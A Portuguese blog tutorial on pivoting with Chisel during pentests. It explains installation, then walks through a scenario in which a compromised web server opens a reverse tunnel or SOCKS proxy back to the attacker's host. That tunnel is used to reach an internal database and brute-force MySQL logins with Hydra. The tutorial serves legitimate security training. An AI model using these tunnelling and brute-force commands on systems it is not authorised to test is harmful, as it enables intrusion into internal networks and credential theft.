Pivoting com Chisel
- Gustavo Viana
- Segurança ofensiva
- 20 de agosto de 2024
Entre as diversas ferramentas que facilitam esse processo, o Chisel se destaca por sua eficiência e simplicidade. Neste post, vamos explorar como utilizar o Chisel para realizar pivoting em redes internas, abordando sua instalação, uso básico e exemplos práticos.
Caso você ainda não saiba o que é Pivoting, recomendo a leitura do nosso post sobre o assunto !
O que é o Chisel?
Chisel é uma ferramenta de tunelamento TCP/UDP escrita em Golang e que opera no modelo cliente-servidosr. Em cenários de Pentest ou Red Teaming, o Chisel é útil para acessar redes internas a partir de uma máquina comprometida, atuando como um canal para o tráfego de dados.
Como instalar o Chisel?
Você precisará apenas do binário pré-compilado que está disponível em https://github.com/jpillora/chisel/releases .
Lembrando que esse binário é necessário tanto na máquina cliente (máquina da vítima) quanto na máquina servidor (máquina do atacante).
- Linux
- Windows
Primeiramente, abra o Terminal e execute o seguinte comando para baixar o binário do Chisel:
wget https://github.com/jpillora/chisel/releases/download/v1.10.0/chisel_1.10.0_linux_amd64.gz
Em seguida, descompacte o arquivo usando o gunzip:
gunzip chisel_1.10.0_linux_amd64.gz
Aplique permissão de execução no binário e mova-o para /usr/local/bin para que o chisel fique no seu PATH.
chmod +x chisel_1.10.0_linux_amd64
sudo mv chisel_1.10.0_linux_amd64 /usr/local/bin/chisel
Primeiramente, abra o Powershell e execute o comando abaixo para criar um diretório e realizar o download:
mkdir C:\Tools\Chisel;cd C:\Tools\Chisel
Invoke-WebRequest -Uri "https://github.com/jpillora/chisel/releases/download/v1.10.0/chisel_1.10.0_windows_amd64.gz" -Outfile "chisel.gz"
Agora extraia o arquivo usando tar:
tar -xvf .\chisel.gz
Ou, caso o 7zip esteja instalado na máquina:
& 'C:\Program Files\7-Zip\7z.exe' e .\chisel.gz
Finalmente, para Adicionar o C:\Tools\Chisel ao PATH do seu usuário:
$env:Path += ";C:\Tools\Chisel";[System.Environment]::SetEnvironmentVariable("Path", $env:Path, [System.EnvironmentVariableTarget]::User)
Uso básico do Chisel
Como dito anteriormente, o Chisel opera em um modelo de cliente e servidor. O servidor é geralmente configurado na máquina do atacante, enquanto o cliente é executado na máquina comprometida (ou máquina da vítima). Veja a ilustração abaixo:
Para exemplificar o uso do Chisel, veja abaixo um cenário em que o atacante conseguiu comprometer um servidor Web tem conectividade com um servidor de Banco de Dados interno (192.168.100.100):
Neste caso, o chisel server seria executado na máquina do atacante, enquanto o chisel client seria executado na máquina Web invadida, fazendo com que o atacante tenha acesso ao host 192.168.100.100.
Abaixo vamos exemplificar o uso do Chisel neste cenário.
Configurando o servidor
Primeiro, configure o servidor Chisel na sua máquina local ou em um servidor que você controle:
chisel server --reverse --port 8080
Configurando o cliente
Agora, existem dois métodos que podem ser utilizados para realizar o encaminhamento de portas:
1. Realizar um encaminhamento de portas individualmente
chisel.exe client ip-da-maquina-atacante:8080 R:3306:192.168.100.100:3306
2. Realizar um reverse socks proxy
chisel.exe client ip-da-máquina-atacante:8080 R:socks
Fazendo uso do tráfego encaminhado
Caso tenha encaminhado apenas portas isoladamente e queira, por exemplo, realizar um brute force com Hydra :
hydra -C users_passwords.txt mysql://127.0.0.1 -VI
Mas caso você tenha realizado o reverse socks proxy, utilize o Proxychains para utilizar o socks proxy:
proxychains hydra -C users_passwords.txt mysql://192.168.100.100 -VI
Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !